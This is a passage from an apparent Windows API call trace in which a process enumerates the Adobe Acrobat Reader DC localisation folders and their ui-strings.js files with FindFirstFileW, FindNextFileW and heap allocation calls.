ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0246.934] GetProcessHeap () returned 0xc10000 [0246.934] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.935] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.936] GetProcessHeap () returned 0xc10000 [0246.936] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.936] GetProcessHeap () returned 0xc10000 [0246.936] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.937] GetProcessHeap () returned 0xc10000 [0246.937] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.937] GetProcessHeap () returned 0xc10000 [0246.937] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.940] GetProcessHeap () returned 0xc10000 [0246.940] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.940] GetProcessHeap () returned 0xc10000 [0246.940] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.940] GetProcessHeap () returned 0xc10000 [0246.940] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.941] GetProcessHeap () returned 0xc10000 [0246.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.941] GetProcessHeap () returned 0xc10000 [0246.941] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.941] GetProcessHeap () returned 0xc10000 [0246.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.943] GetProcessHeap () returned 0xc10000 [0246.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.943] GetProcessHeap () returned 0xc10000 [0246.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.943] GetProcessHeap () returned 0xc10000 [0246.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.943] GetProcessHeap () returned 0xc10000 [0246.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.945] GetProcessHeap () returned 0xc10000 [0246.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.945] GetProcessHeap () returned 0xc10000 [0246.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.945] GetProcessHeap () returned 0xc10000 [0246.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.945] GetProcessHeap () returned 0xc10000 [0246.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.946] GetProcessHeap () returned 0xc10000 [0246.947] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.947] GetProcessHeap () returned 0xc10000 [0246.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.948] GetProcessHeap () returned 0xc10000 [0246.948] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.948] GetProcessHeap () returned 0xc10000 [0246.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.949] GetProcessHeap () returned 0xc10000 [0246.949] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.949] GetProcessHeap () returned 0xc10000 [0246.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.950] GetProcessHeap () returned 0xc10000 [0246.950] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.950] GetProcessHeap () returned 0xc10000 [0246.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0246.951] GetProcessHeap () returned 0xc10000 [0246.951] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.951] GetProcessHeap () returned 0xc10000 [0246.951] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.951] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.952] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.952] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.952] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.952] GetProcessHeap () returned 0xc10000 [0246.952] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.952] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.952] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0246.952] GetProcessHeap () returned 0xc10000 [0246.952] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0246.953] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.953] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.953] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.953] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0246.953] GetProcessHeap () returned 0xc10000 [0246.954] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.954] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0246.954] GetProcessHeap () returned 0xc10000 [0246.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0246.954] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.954] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.954] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.954] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0247.139] GetProcessHeap () returned 0xc10000 [0247.139] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.139] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0247.139] GetProcessHeap () returned 0xc10000 [0247.140] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.140] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, 